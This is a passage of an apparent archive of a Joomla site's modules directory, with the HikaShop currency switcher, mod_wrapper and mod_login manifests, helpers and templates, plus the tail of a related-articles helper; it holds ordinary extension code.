				$app->enqueueMessage(Text::_('JERROR_AN_ERROR_HAS_OCCURRED'), 'error');

				return array();
			}

			// Explode the meta keys on a comma
			$keys  = explode(',', $metakey);
			$likes = [];

			// Assemble any non-blank word(s)
			foreach ($keys as $key)
			{
				$key = trim($key);

				if ($key)
				{
					$likes[] = $db->escape($key);
				}
			}

			if (\count($likes))
			{
				// Select other items based on the metakey field 'like' the keys found
				$query->clear()
					->select($db->quoteName('a.id'))
					->from($db->quoteName('#__content', 'a'))
					->where($db->quoteName('a.id') . ' != :id')
					->where($db->quoteName('a.state') . ' = ' . ContentComponent::CONDITION_PUBLISHED)
					->whereIn($db->quoteName('a.access'), $groups)
					->bind(':id', $id, ParameterType::INTEGER);

				$binds  = [];
				$wheres = [];

				foreach ($likes as $keyword)
				{
					$binds[] = '%' . $keyword . '%';
				}

				$bindNames = $query->bindArray($binds, ParameterType::STRING);

				foreach ($bindNames as $keyword)
				{
					$wheres[] = $db->quoteName('a.metakey') . ' LIKE ' . $keyword;
				}

				$query->extendWhere('AND', $wheres, 'OR')
					->extendWhere('AND', [ $db->quoteName('a.publish_up') . ' IS NULL', $db->quoteName('a.publish_up') . ' <= :nowDate1'], 'OR')
					->extendWhere(
						'AND',
						[
							$db->quoteName('a.publish_down') . ' IS NULL',
							$db->quoteName('a.publish_down') . ' >= :nowDate2'
						],
						'OR'
					)
					->bind([':nowDate1', ':nowDate2'], $now);

				// Filter by language
				if (Multilanguage::isEnabled())
				{
					$query->whereIn($db->quoteName('a.language'), [Factory::getLanguage()->getTag(), '*'], ParameterType::STRING);
				}

				$query->setLimit($maximum);
				$db->setQuery($query);

				try
				{
					$articleIds = $db->loadColumn();
				}
				catch (\RuntimeException $e)
				{
					$app->enqueueMessage(Text::_('JERROR_AN_ERROR_HAS_OCCURRED'), 'error');

					return [];
				}

				if (\count($articleIds))
				{
					$articles->setState('filter.article_id', $articleIds);
					$articles->setState('filter.published', 1);
					$related = $articles->getItems();
				}

				unset($articleIds);
			}
		}

		if (\count($related))
		{
			// Prepare data for display using display options
			foreach ($related as &$item)
			{
				$item->slug  = $item->id . ':' . $item->alias;
				$item->route = Route::_(RouteHelper::getArticleRoute($item->slug, $item->catid, $item->language));
			}
		}

		return $related;
	}
}
mod_hikashop_currency/mod_hikashop_currency.xml000064400000011245150746134720016240 0ustar00<?xml version="1.0" encoding="utf-8"?>
<extension type="module" version="1.5.0" method="upgrade">
	<name>Hikashop Currency Switcher Module</name>
	<creationDate>29 avril 2022</creationDate>
	<version>4.5.1</version>
	<author>Hikari Software</author>
	<authorEmail>dev@hikashop.com</authorEmail>
	<authorUrl>http://www.hikashop.com</authorUrl>
	<copyright>(C) 2010-2022 HIKARI SOFTWARE. All rights reserved.</copyright>
	<license>http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL</license>
	<description>Currency Switcher display for Hikashop</description>
	<files>
		<filename module="mod_hikashop_currency">mod_hikashop_currency.php</filename>
		<filename>index.html</filename>
		<folder>tmpl</folder>
	</files>
	<params addpath="/components/com_hikashop/params">
		<param name="moduleclass_sfx" type="text" default="" label="Module Class Suffix" description="PARAMMODULECLASSSUFFIX" />
		<param name="mode_noform" type="radio" default="0" label="Do not use a form" description="">
			<option value="0">No</option>
			<option value="1">Yes</option>
		</param>
		<param name="display_on_product_page" type="radio" default="1" label="Display on the product page" description="">
			<option value="0">No</option>
			<option value="1">Yes</option>
		</param>
		<param name="display_on_product_listing_page" type="radio" default="1" label="Display on the product listing page" description="">
			<option value="0">No</option>
			<option value="1">Yes</option>
		</param>
		<param name="display_on_product_compare_page" type="radio" default="1" label="Display on the product compare page" description="">
			<option value="0">No</option>
			<option value="1">Yes</option>
		</param>
		<param name="display_on_category_listing_page" type="radio" default="1" label="Display on the category listing page" description="">
			<option value="0">No</option>
			<option value="1">Yes</option>
		</param>
		<param name="display_on_checkout_page" type="radio" default="1" label="Display on the checkout page" description="">
			<option value="0">No</option>
			<option value="1">Yes</option>
		</param>
		<param name="display_on_contact_page" type="radio" default="1" label="Display on the contact page" description="">
			<option value="0">No</option>
			<option value="1">Yes</option>
		</param>
		<param name="display_on_waitlist_page" type="radio" default="1" label="Display on the waitlist page" description="">
			<option value="0">No</option>
			<option value="1">Yes</option>
		</param>
	</params>
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field  name="moduleclass_sfx" type="text" label="COM_MODULES_FIELD_MODULECLASS_SFX_LABEL" description="COM_MODULES_FIELD_MODULECLASS_SFX_DESC" />
				<field name="mode_noform" type="radio" default="0" label="Do not use a form" description="" class="btn-group btn-group-yesno">
					<option value="0">No</option>
					<option value="1">Yes</option>
				</field>
				<field name="display_on_product_page" type="radio" default="1" label="Display on the product page" description="" class="btn-group btn-group-yesno">
					<option value="0">No</option>
					<option value="1">Yes</option>
				</field>
				<field name="display_on_product_listing_page" type="radio" default="1" label="Display on the product listing page" description="" class="btn-group btn-group-yesno">
					<option value="0">No</option>
					<option value="1">Yes</option>
				</field>
				<field name="display_on_product_compare_page" type="radio" default="1" label="Display on the product compare page" description="" class="btn-group btn-group-yesno">
					<option value="0">No</option>
					<option value="1">Yes</option>
				</field>
				<field name="display_on_category_listing_page" type="radio" default="1" label="Display on the category listing page" description="" class="btn-group btn-group-yesno">
					<option value="0">No</option>
					<option value="1">Yes</option>
				</field>
				<field name="display_on_checkout_page" type="radio" default="1" label="Display on the checkout page" description="" class="btn-group btn-group-yesno">
					<option value="0">No</option>
					<option value="1">Yes</option>
				</field>
				<field name="display_on_contact_page" type="radio" default="1" label="Display on the contact page" description="" class="btn-group btn-group-yesno">
					<option value="0">No</option>
					<option value="1">Yes</option>
				</field>
				<field name="display_on_waitlist_page" type="radio" default="1" label="Display on the waitlist page" description="" class="btn-group btn-group-yesno">
					<option value="0">No</option>
					<option value="1">Yes</option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
mod_hikashop_currency/mod_hikashop_currency.php000064400000001555150746134720016232 0ustar00<?php
/**
 * @package	HikaShop for Joomla!
 * @version	4.5.1
 * @author	hikashop.com
 * @copyright	(C) 2010-2022 HIKARI SOFTWARE. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><?php
if(!defined('DS'))
	define('DS', DIRECTORY_SEPARATOR);
if(!include_once(rtrim(JPATH_ADMINISTRATOR,DS).DS.'components'.DS.'com_hikashop'.DS.'helpers'.DS.'helper.php')){
	echo 'This module can not work without the Hikashop Component';
	return;
};

$moduleClass = hikashop_get('class.modules');
if($moduleClass->restrictedModule($params) === false)
	return;

$mode_noform = $params->get('mode_noform', 0);
$currency = hikashop_get('type.currency');
$config =& hikashop_config();
$redirectUrl = hikashop_currentURL();
require(JModuleHelper::getLayoutPath('mod_hikashop_currency'));
mod_hikashop_currency/tmpl/index.html000064400000000054150746134720014104 0ustar00<html><body bgcolor="#FFFFFF"></body></html>mod_hikashop_currency/tmpl/default.php000064400000002765150746134720014257 0ustar00<?php
/**
 * @package	HikaShop for Joomla!
 * @version	4.5.1
 * @author	hikashop.com
 * @copyright	(C) 2010-2022 HIKARI SOFTWARE. All rights reserved.
 * @license	GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
 */
defined('_JEXEC') or die('Restricted access');
?><div class="hikashop_currency_module <?php echo (!empty($module->params) && is_array($module->params) ? @$module->params['moduleclass_sfx'] : ''); ?>" id="hikashop_currency_module_<?php echo $module->id; ?>">
<?php if(empty($mode_noform)) { ?>
	<form action="<?php echo hikashop_completeLink('currency&task=update'); ?>" method="post" name="hikashop_currency_form_<?php echo $module->id; ?>">
		<input type="hidden" name="return_url" value="<?php echo urlencode($redirectUrl); ?>" />
		<?php echo $currency->display('hikashopcurrency',hikashop_getCurrency(),'class="hikashopcurrency" onchange="this.form.submit();"'); ?>
	</form>
<?php } else {
	echo $currency->display(null, hikashop_getCurrency(), 'class="hikashopcurrency" id="hikashopcurrency_'.$module->id.'" onchange="window.localPage.switchCurrency(this);"');
?>
<script type="text/javascript">
if(!window.localPage) window.localPage = {};
window.localPage.switchCurrency = function(el) {
	var url = "<?php echo hikashop_completeLink('currency&task=update&hikashopcurrency={ID}'); ?>";
	url += ((url.indexOf("?") !== false) ? "?" : "&") + "return_url=<?php echo urlencode($redirectUrl); ?>";
	window.location = url.replace("{ID}", el.value);
};
</script>
<?php } ?>
</div>
mod_hikashop_currency/index.html000064400000000054150746134720013130 0ustar00<html><body bgcolor="#FFFFFF"></body></html>mod_wrapper/mod_wrapper.php000064400000002311150746134720012121 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_wrapper
 *
 * @copyright   (C) 2005 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

// Include the wrapper functions only once
JLoader::register('ModWrapperHelper', __DIR__ . '/helper.php');

$params = ModWrapperHelper::getParams($params);

$load            = $params->get('load');
$url             = htmlspecialchars($params->get('url', ''), ENT_COMPAT, 'UTF-8');
$target          = htmlspecialchars($params->get('target', ''), ENT_COMPAT, 'UTF-8');
$width           = htmlspecialchars($params->get('width', ''), ENT_COMPAT, 'UTF-8');
$height          = htmlspecialchars($params->get('height', ''), ENT_COMPAT, 'UTF-8');
$scroll          = htmlspecialchars($params->get('scrolling', ''), ENT_COMPAT, 'UTF-8');
$moduleclass_sfx = htmlspecialchars($params->get('moduleclass_sfx', ''), ENT_COMPAT, 'UTF-8');
$frameborder     = htmlspecialchars($params->get('frameborder', ''), ENT_COMPAT, 'UTF-8');
$ititle          = $module->title;
$id              = $module->id;

require JModuleHelper::getLayoutPath('mod_wrapper', $params->get('layout', 'default'));
mod_wrapper/mod_wrapper.xml000064400000007650150746134720012145 0ustar00<?xml version="1.0" encoding="utf-8"?>
<extension type="module" version="3.1" client="site" method="upgrade">
	<name>mod_wrapper</name>
	<author>Joomla! Project</author>
	<creationDate>October 2004</creationDate>
	<copyright>(C) 2005 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>MOD_WRAPPER_XML_DESCRIPTION</description>
	<files>
		<filename module="mod_wrapper">mod_wrapper.php</filename>
		<folder>tmpl</folder>
		<filename>helper.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.mod_wrapper.ini</language>
		<language tag="en-GB">en-GB.mod_wrapper.sys.ini</language>
	</languages>
	<help key="JHELP_EXTENSIONS_MODULE_MANAGER_WRAPPER" />
	<config>
		<fields name="params">
			<fieldset name="basic">
				<field
					name="url"
					type="text"
					label="MOD_WRAPPER_FIELD_URL_LABEL"
					description="MOD_WRAPPER_FIELD_URL_DESC"
					size="30"
					required="true"
				/>

				<field
					name="add"
					type="radio"
					label="MOD_WRAPPER_FIELD_ADD_LABEL"
					description="MOD_WRAPPER_FIELD_ADD_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="scrolling"
					type="list"
					label="MOD_WRAPPER_FIELD_SCROLL_LABEL"
					description="MOD_WRAPPER_FIELD_SCROLL_DESC"
					default="auto"
					>
					<option value="auto">MOD_WRAPPER_FIELD_VALUE_AUTO</option>
					<option value="no">JNO</option>
					<option value="yes">JYES</option>
				</field>

				<field
					name="width"
					type="text"
					label="MOD_WRAPPER_FIELD_WIDTH_LABEL"
					description="MOD_WRAPPER_FIELD_WIDTH_DESC"
					size="5"
					default="100%"
				/>

				<field
					name="height"
					type="text"
					label="MOD_WRAPPER_FIELD_HEIGHT_LABEL"
					description="MOD_WRAPPER_FIELD_HEIGHT_DESC"
					size="5"
					default="200"
				/>

				<field
					name="height_auto"
					type="radio"
					label="MOD_WRAPPER_FIELD_AUTOHEIGHT_LABEL"
					description="MOD_WRAPPER_FIELD_AUTOHEIGHT_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="frameborder"
					type="radio"
					label="MOD_WRAPPER_FIELD_FRAME_LABEL"
					description="MOD_WRAPPER_FIELD_FRAME_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="target"
					type="text"
					label="MOD_WRAPPER_FIELD_TARGET_LABEL"
					description="MOD_WRAPPER_FIELD_TARGET_DESC"
					size="30"
				/>
			</fieldset>
			<fieldset name="advanced">
				<field
					name="layout"
					type="modulelayout"
					label="JFIELD_ALT_LAYOUT_LABEL"
					description="JFIELD_ALT_MODULE_LAYOUT_DESC"
					validate="moduleLayout"
				/>

				<field
					name="moduleclass_sfx"
					type="textarea"
					label="COM_MODULES_FIELD_MODULECLASS_SFX_LABEL"
					description="COM_MODULES_FIELD_MODULECLASS_SFX_DESC"
					rows="3"
				/>

				<field
					name="cache"
					type="list"
					label="COM_MODULES_FIELD_CACHING_LABEL"
					description="COM_MODULES_FIELD_CACHING_DESC"
					default="1"
					filter="integer"
					>
					<option value="1">JGLOBAL_USE_GLOBAL</option>
					<option value="0">COM_MODULES_FIELD_VALUE_NOCACHING</option>
				</field>

				<field
					name="cache_time"
					type="number"
					label="COM_MODULES_FIELD_CACHE_TIME_LABEL"
					description="COM_MODULES_FIELD_CACHE_TIME_DESC"
					default="900"
					filter="integer"
				/>

				<field
					name="cachemode"
					type="hidden"
					default="static"
					>
					<option value="static"></option>
				</field>
			</fieldset>
		</fields>
	</config>
</extension>
mod_wrapper/src/Helper/WrapperHelper.php000060400000002740150746134720014372 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_wrapper
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Module\Wrapper\Site\Helper;

\defined('_JEXEC') or die;

use Joomla\CMS\Factory;

/**
 * Helper for mod_wrapper
 *
 * @since  1.5
 */
class WrapperHelper
{
	/**
	 * Gets the parameters for the wrapper
	 *
	 * @param   mixed  &$params  The parameters set in the administrator section
	 *
	 * @return  mixed  &$params  The modified parameters
	 *
	 * @since   1.5
	 */
	public static function getParams(&$params)
	{
		$params->def('url', '');
		$params->def('scrolling', 'auto');
		$params->def('height', '200');
		$params->def('height_auto', 0);
		$params->def('width', '100%');
		$params->def('add', 1);
		$params->def('name', 'wrapper');

		$url = $params->get('url');

		if ($params->get('add'))
		{
			// Adds 'http://' if none is set
			if (strpos($url, '/') === 0)
			{
				// Relative URL in component. use server http_host.
				$url = 'http://' . Factory::getApplication()->input->server->get('HTTP_HOST') . $url;
			}
			elseif (strpos($url, 'http') === false && strpos($url, 'https') === false)
			{
				$url = 'http://' . $url;
			}
		}

		$load = '';

		// Auto height control
		if ($params->def('height_auto'))
		{
			$load = 'onload="iFrameHeight(this)"';
		}

		$params->set('load', $load);
		$params->set('url', $url);

		return $params;
	}
}
mod_wrapper/tmpl/default.php000064400000001405150746134720012205 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_wrapper
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::_('script', 'com_wrapper/iframe-height.min.js', array('version' => 'auto', 'relative' => true));
?>
<iframe <?php echo $load; ?>
	id="blockrandom-<?php echo $id; ?>"
	name="<?php echo $target; ?>"
	src="<?php echo $url; ?>"
	width="<?php echo $width; ?>"
	height="<?php echo $height; ?>"
	scrolling="<?php echo $scroll; ?>"
	frameborder="<?php echo $frameborder; ?>"
	title="<?php echo $ititle; ?>"
	class="wrapper<?php echo $moduleclass_sfx; ?>" >
	<?php echo JText::_('MOD_WRAPPER_NO_IFRAMES'); ?>
</iframe>
mod_login/src/Helper/LoginHelper.php000060400000004011150746134720013443 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_login
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Module\Login\Site\Helper;

\defined('_JEXEC') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Language\Multilanguage;
use Joomla\CMS\Uri\Uri;

/**
 * Helper for mod_login
 *
 * @since  1.5
 */
class LoginHelper
{
	/**
	 * Retrieve the URL where the user should be returned after logging in
	 *
	 * @param   \Joomla\Registry\Registry  $params  module parameters
	 * @param   string                     $type    return type
	 *
	 * @return  string
	 */
	public static function getReturnUrl($params, $type)
	{
		$item = Factory::getApplication()->getMenu()->getItem($params->get($type));

		// Stay on the same page
		$url = Uri::getInstance()->toString();

		if ($item)
		{
			$lang = '';

			if ($item->language !== '*' && Multilanguage::isEnabled())
			{
				$lang = '&lang=' . $item->language;
			}

			$url = 'index.php?Itemid=' . $item->id . $lang;
		}

		return base64_encode($url);
	}

	/**
	 * Returns the current users type
	 *
	 * @return string
	 */
	public static function getType()
	{
		$user = Factory::getUser();

		return (!$user->get('guest')) ? 'logout' : 'login';
	}

	/**
	 * Retrieve the URL for the registration page
	 *
	 * @param   \Joomla\Registry\Registry  $params  module parameters
	 *
	 * @return  string
	 */
	public static function getRegistrationUrl($params)
	{
		$regLink = 'index.php?option=com_users&view=registration';
		$regLinkMenuId = $params->get('customRegLinkMenu');

		// If there is a custom menu item set for registration => override default
		if ($regLinkMenuId)
		{
			$item = Factory::getApplication()->getMenu()->getItem($regLinkMenuId);

			if ($item)
			{
				$regLink = 'index.php?Itemid=' . $regLinkMenuId;

				if ($item->language !== '*' && Multilanguage::isEnabled())
				{
					$regLink .= '&lang=' . $item->language;
				}
			}
		}

		return $regLink;
	}
}
mod_login/mod_login.xml000064400000010021150746134720011207 0ustar00<?xml version="1.0" encoding="utf-8"?>
<extension type="module" version="3.1" client="site" method="upgrade">
	<name>mod_login</name>
	<author>Joomla! Project</author>
	<creationDate>July 2006</creationDate>
	<copyright>(C) 2006 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.0.0</version>
	<description>MOD_LOGIN_XML_DESCRIPTION</description>
	<files>
		<filename module="mod_login">mod_login.php</filename>
		<folder>tmpl</folder>
		<filename>helper.php</filename>
	</files>
	<languages>
		<language tag="en-GB">en-GB.mod_login.ini</language>
		<language tag="en-GB">en-GB.mod_login.sys.ini</language>
	</languages>
	<help key="JHELP_EXTENSIONS_MODULE_MANAGER_LOGIN" />
	<config>
		<fields name="params">
			<fieldset name="basic"
				addfieldpath="/administrator/components/com_menus/models/fields"
			>
				<field
					name="pretext"
					type="textarea"
					label="MOD_LOGIN_FIELD_PRE_TEXT_LABEL"
					description="MOD_LOGIN_FIELD_PRE_TEXT_DESC"
					filter="safehtml"
					cols="30"
					rows="5"
				/>

				<field
					name="posttext"
					type="textarea"
					label="MOD_LOGIN_FIELD_POST_TEXT_LABEL"
					description="MOD_LOGIN_FIELD_POST_TEXT_DESC"
					filter="safehtml"
					cols="30"
					rows="5"
				/>

				<field
					name="login"
					type="modal_menu"
					label="MOD_LOGIN_FIELD_LOGIN_REDIRECTURL_LABEL"
					description="MOD_LOGIN_FIELD_LOGIN_REDIRECTURL_DESC"
					disable="separator,alias,heading,url"
					select="true"
					new="true"
					edit="true"
					clear="true"
					>
					<option value="">JDEFAULT</option>
				</field>

				<field
					name="logout"
					type="modal_menu"
					label="MOD_LOGIN_FIELD_LOGOUT_REDIRECTURL_LABEL"
					description="MOD_LOGIN_FIELD_LOGOUT_REDIRECTURL_DESC"
					disable="separator,alias,heading,url"
					select="true"
					new="true"
					edit="true"
					clear="true"
					>
					<option value="">JDEFAULT</option>
				</field>

				<field
					name="greeting"
					type="radio"
					label="MOD_LOGIN_FIELD_GREETING_LABEL"
					description="MOD_LOGIN_FIELD_GREETING_DESC"
					class="btn-group btn-group-yesno"
					default="1"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="name"
					type="list"
					label="MOD_LOGIN_FIELD_NAME_LABEL"
					description="MOD_LOGIN_FIELD_NAME_DESC"
					default="0"
					filter="integer"
					showon="greeting:1"
					>
					<option value="0">MOD_LOGIN_VALUE_NAME</option>
					<option value="1">MOD_LOGIN_VALUE_USERNAME</option>
				</field>

				<field
					name="profilelink"
					type="radio"
					label="MOD_LOGIN_FIELD_PROFILE_LABEL"
					description="MOD_LOGIN_FIELD_PROFILE_DESC"
					class="btn-group btn-group-yesno"
					default="0"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="usesecure"
					type="radio"
					label="MOD_LOGIN_FIELD_USESECURE_LABEL"
					description="MOD_LOGIN_FIELD_USESECURE_DESC"
					class="btn-group btn-group-yesno"
					default="0"
					filter="integer"
					>
					<option value="1">JYES</option>
					<option value="0">JNO</option>
				</field>

				<field
					name="usetext"
					type="list"
					label="MOD_LOGIN_FIELD_USETEXT_LABEL"
					description="MOD_LOGIN_FIELD_USETEXT_DESC"
					default="0"
					filter="integer"
					>
					<option value="0">MOD_LOGIN_VALUE_ICONS</option>
					<option value="1">MOD_LOGIN_VALUE_TEXT</option>
				</field>
			</fieldset>

			<fieldset name="advanced">
				<field
					name="layout"
					type="modulelayout"
					label="JFIELD_ALT_LAYOUT_LABEL"
					description="JFIELD_ALT_MODULE_LAYOUT_DESC"
					validate="moduleLayout"
				/>

				<field
					name="moduleclass_sfx"
					type="textarea"
					label="COM_MODULES_FIELD_MODULECLASS_SFX_LABEL"
					description="COM_MODULES_FIELD_MODULECLASS_SFX_DESC"
					rows="3"
				/>
			</fieldset>
		</fields>
	</config>
</extension>
mod_login/mod_login.php000064400000001462150746134720011207 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_login
 *
 * @copyright   (C) 2005 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

// Include the login functions only once
JLoader::register('ModLoginHelper', __DIR__ . '/helper.php');

$params->def('greeting', 1);

$type             = ModLoginHelper::getType();
$return           = ModLoginHelper::getReturnUrl($params, $type);
$twofactormethods = JAuthenticationHelper::getTwoFactorMethods();
$user             = JFactory::getUser();
$layout           = $params->get('layout', 'default');

// Logged users must load the logout sublayout
if (!$user->guest)
{
	$layout .= '_logout';
}

require JModuleHelper::getLayoutPath('mod_login', $layout);
mod_login/tmpl/default_logout.php000064400000002654150746134720013235 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_login
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::_('behavior.keepalive');
?>
<form action="<?php echo JRoute::_('index.php', true, $params->get('usesecure', 0)); ?>" method="post" id="login-form" class="form-vertical">
<?php if ($params->get('greeting', 1)) : ?>
	<div class="login-greeting">
	<?php if (!$params->get('name', 0)) : ?>
		<?php echo JText::sprintf('MOD_LOGIN_HINAME', htmlspecialchars($user->get('name'), ENT_COMPAT, 'UTF-8')); ?>
	<?php else : ?>
		<?php echo JText::sprintf('MOD_LOGIN_HINAME', htmlspecialchars($user->get('username'), ENT_COMPAT, 'UTF-8')); ?>
	<?php endif; ?>
	</div>
<?php endif; ?>
<?php if ($params->get('profilelink', 0)) : ?>
	<ul class="unstyled">
		<li>
			<a href="<?php echo JRoute::_('index.php?option=com_users&view=profile'); ?>">
			<?php echo JText::_('MOD_LOGIN_PROFILE'); ?></a>
		</li>
	</ul>
<?php endif; ?>
	<div class="logout-button">
		<input type="submit" name="Submit" class="btn btn-primary" value="<?php echo JText::_('JLOGOUT'); ?>" />
		<input type="hidden" name="option" value="com_users" />
		<input type="hidden" name="task" value="user.logout" />
		<input type="hidden" name="return" value="<?php echo $return; ?>" />
		<?php echo JHtml::_('form.token'); ?>
	</div>
</form>
mod_login/tmpl/default.php000064400000013057150746134720011643 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  mod_login
 *
 * @copyright   (C) 2006 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('UsersHelperRoute', JPATH_SITE . '/components/com_users/helpers/route.php');

JHtml::_('behavior.keepalive');
JHtml::_('bootstrap.tooltip');

?>
<form action="<?php echo JRoute::_('index.php', true, $params->get('usesecure', 0)); ?>" method="post" id="login-form" class="form-inline">
	<?php if ($params->get('pretext')) : ?>
		<div class="pretext">
			<p><?php echo $params->get('pretext'); ?></p>
		</div>
	<?php endif; ?>
	<div class="userdata">
		<div id="form-login-username" class="control-group">
			<div class="controls">
				<?php if (!$params->get('usetext', 0)) : ?>
					<div class="input-prepend">
						<span class="add-on">
							<span class="icon-user hasTooltip" title="<?php echo JText::_('MOD_LOGIN_VALUE_USERNAME'); ?>"></span>
							<label for="modlgn-username" class="element-invisible"><?php echo JText::_('MOD_LOGIN_VALUE_USERNAME'); ?></label>
						</span>
						<input id="modlgn-username" type="text" name="username" class="input-small" tabindex="0" size="18" placeholder="<?php echo JText::_('MOD_LOGIN_VALUE_USERNAME'); ?>" />
					</div>
				<?php else : ?>
					<label for="modlgn-username"><?php echo JText::_('MOD_LOGIN_VALUE_USERNAME'); ?></label>
					<input id="modlgn-username" type="text" name="username" class="input-small" tabindex="0" size="18" placeholder="<?php echo JText::_('MOD_LOGIN_VALUE_USERNAME'); ?>" />
				<?php endif; ?>
			</div>
		</div>
		<div id="form-login-password" class="control-group">
			<div class="controls">
				<?php if (!$params->get('usetext', 0)) : ?>
					<div class="input-prepend">
						<span class="add-on">
							<span class="icon-lock hasTooltip" title="<?php echo JText::_('JGLOBAL_PASSWORD'); ?>">
							</span>
								<label for="modlgn-passwd" class="element-invisible"><?php echo JText::_('JGLOBAL_PASSWORD'); ?>
							</label>
						</span>
						<input id="modlgn-passwd" type="password" name="password" class="input-small" tabindex="0" size="18" placeholder="<?php echo JText::_('JGLOBAL_PASSWORD'); ?>" />
					</div>
				<?php else : ?>
					<label for="modlgn-passwd"><?php echo JText::_('JGLOBAL_PASSWORD'); ?></label>
					<input id="modlgn-passwd" type="password" name="password" class="input-small" tabindex="0" size="18" placeholder="<?php echo JText::_('JGLOBAL_PASSWORD'); ?>" />
				<?php endif; ?>
			</div>
		</div>
		<?php if (count($twofactormethods) > 1) : ?>
		<div id="form-login-secretkey" class="control-group">
			<div class="controls">
				<?php if (!$params->get('usetext', 0)) : ?>
					<div class="input-prepend input-append">
						<span class="add-on">
							<span class="icon-star hasTooltip" title="<?php echo JText::_('JGLOBAL_SECRETKEY'); ?>">
							</span>
								<label for="modlgn-secretkey" class="element-invisible"><?php echo JText::_('JGLOBAL_SECRETKEY'); ?>
							</label>
						</span>
						<input id="modlgn-secretkey" autocomplete="one-time-code" type="text" name="secretkey" class="input-small" tabindex="0" size="18" placeholder="<?php echo JText::_('JGLOBAL_SECRETKEY'); ?>" />
						<span class="btn width-auto hasTooltip" title="<?php echo JText::_('JGLOBAL_SECRETKEY_HELP'); ?>">
							<span class="icon-help"></span>
						</span>
				</div>
				<?php else : ?>
					<label for="modlgn-secretkey"><?php echo JText::_('JGLOBAL_SECRETKEY'); ?></label>
					<input id="modlgn-secretkey" autocomplete="one-time-code" type="text" name="secretkey" class="input-small" tabindex="0" size="18" placeholder="<?php echo JText::_('JGLOBAL_SECRETKEY'); ?>" />
					<span class="btn width-auto hasTooltip" title="<?php echo JText::_('JGLOBAL_SECRETKEY_HELP'); ?>">
						<span class="icon-help"></span>
					</span>
				<?php endif; ?>

			</div>
		</div>
		<?php endif; ?>
		<?php if (JPluginHelper::isEnabled('system', 'remember')) : ?>
		<div id="form-login-remember" class="control-group checkbox">
			<label for="modlgn-remember" class="control-label"><?php echo JText::_('MOD_LOGIN_REMEMBER_ME'); ?></label> <input id="modlgn-remember" type="checkbox" name="remember" class="inputbox" value="yes"/>
		</div>
		<?php endif; ?>
		<div id="form-login-submit" class="control-group">
			<div class="controls">
				<button type="submit" tabindex="0" name="Submit" class="btn btn-primary login-button"><?php echo JText::_('JLOGIN'); ?></button>
			</div>
		</div>
		<?php
			$usersConfig = JComponentHelper::getParams('com_users'); ?>
			<ul class="unstyled">
			<?php if ($usersConfig->get('allowUserRegistration')) : ?>
				<li>
					<a href="<?php echo JRoute::_('index.php?option=com_users&view=registration'); ?>">
					<?php echo JText::_('MOD_LOGIN_REGISTER'); ?> <span class="icon-arrow-right"></span></a>
				</li>
			<?php endif; ?>
				<li>
					<a href="<?php echo JRoute::_('index.php?option=com_users&view=remind'); ?>">
					<?php echo JText::_('MOD_LOGIN_FORGOT_YOUR_USERNAME'); ?></a>
				</li>
				<li>
					<a href="<?php echo JRoute::_('index.php?option=com_users&view=reset'); ?>">
					<?php echo JText::_('MOD_LOGIN_FORGOT_YOUR_PASSWORD'); ?></a>
				</li>
			</ul>
		<input type="hidden" name="option" value="com_users" />
		<input type="hidden" name="task" value="user.login" />
		<input type="hidden" name="return" value="<?php echo $return; ?>" />
		<?php echo JHtml::_('form.token'); ?>
	</div>
	<?php if ($params->get('posttext')) : ?>
		<div class="posttext">
			<p><?php echo $params->get('posttext'); ?></p>
		</div>
	<?php endif; ?>
</form>
mod_spsimpleportfolio/mod_spsimpleportfolio.xml000060400000011517150746134720016362 0ustar00<?xml version="1.0" encoding="utf-8"?>
